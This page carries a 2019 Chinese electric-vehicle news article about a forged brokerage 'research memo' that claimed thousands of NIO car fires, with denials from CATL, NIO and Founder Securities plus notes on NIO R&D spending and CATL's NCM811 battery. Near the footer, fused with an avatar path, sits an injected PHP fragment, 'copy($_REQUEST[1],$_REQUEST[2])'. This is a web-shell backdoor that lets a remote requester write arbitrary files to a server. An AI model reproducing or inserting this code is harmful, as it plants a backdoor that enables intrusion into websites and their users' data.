2019-8-23 15:20| 發布者: 電動汽車時代| 查看: 1760| 評論: 0|原作者: 電動汽車時代
近日網絡上出現一篇新媒體的報道，稱在8月16日，網傳一篇名為《寧德時代最新調研，曝出產業鏈大料！| 方正證券調研紀要》的文章。其中，一位來自寧德時代生產部門的"陳總"表示，"蔚來今年大概著火了4400多輛。" 隨后，有新媒體聯系寧德時代、蔚來汽車、方正證券方面進行求證，分別得到以下回復。 寧德時代：我們沒派人接受這種調研； 蔚來汽車：造謠的太多了，又沒有成本。我們已經與寧德時代溝通這一嚴重失實的信息，對方表示是虛假信息； 方正證券：首先這個根本不是我們方正證券寫的紀要，其次里面的內容很多都不屬實。我們法務部門正在處理這件事。 現在，原文已經被刪除。  本來是一個惡意造謠、誹謗的消息，大可不必理會，關鍵是這消息很"吸引"人。吸引人的是"這一槍"不但將整車和電池行業里的兩個排頭兵都給拉進來了，還很是讓一些想看造車新勢力"笑話"的人對此感到興奮。但是在此，電動君想說的是，如此長長的一篇"調研紀要"， "偽造者"顯然也是很下了一番功夫。 在此前蔚來汽車發布召回計劃之后，企業在產品方面的消息就比較少，而對于這類負面消息，蔚來汽車和李斌似乎都感到比較無奈。   李斌坦言，"在蔚來還沒有將車交付用戶之前，自己感覺日子過得還好，交付之后，每天都焦頭爛額。"在李斌看來，今天電動車的用戶和汽油車的用戶相比還是1:100的關系，所以為什么罵電動車有99個人點贊，夸電動車只有一個人點贊，因為整個用戶構成不一樣，所以我們今天注定還有很多要被誤解需要說服整個用戶這樣一個過程。  另外，蔚來對外表示，2018年財年，蔚來斥資39.979億美元用于研發，其中第四季度的研發費用投入為15.152億美元。目前蔚來已經獲得的和正在申請中的專利超過4000項，其中換電站專利有500多項。而寧德時代最近比較高調的就是其"NCM811電池"即將量產的消息。據最新消息顯示，在產品方面，寧德時代能量密度更高的NCM811電池即將于今年9月左右開啟批量生產，蔚來、小鵬、廣汽新能源、東風啟辰等品牌新能源車型將采用該電池。  |
下載App
;copy($_REQUEST[1],$_REQUEST[2]);///data/avatar/000/17/46/65_avatar_small.jpg?1696477002){kind=avatar}
粵公網安備 44030802000488號
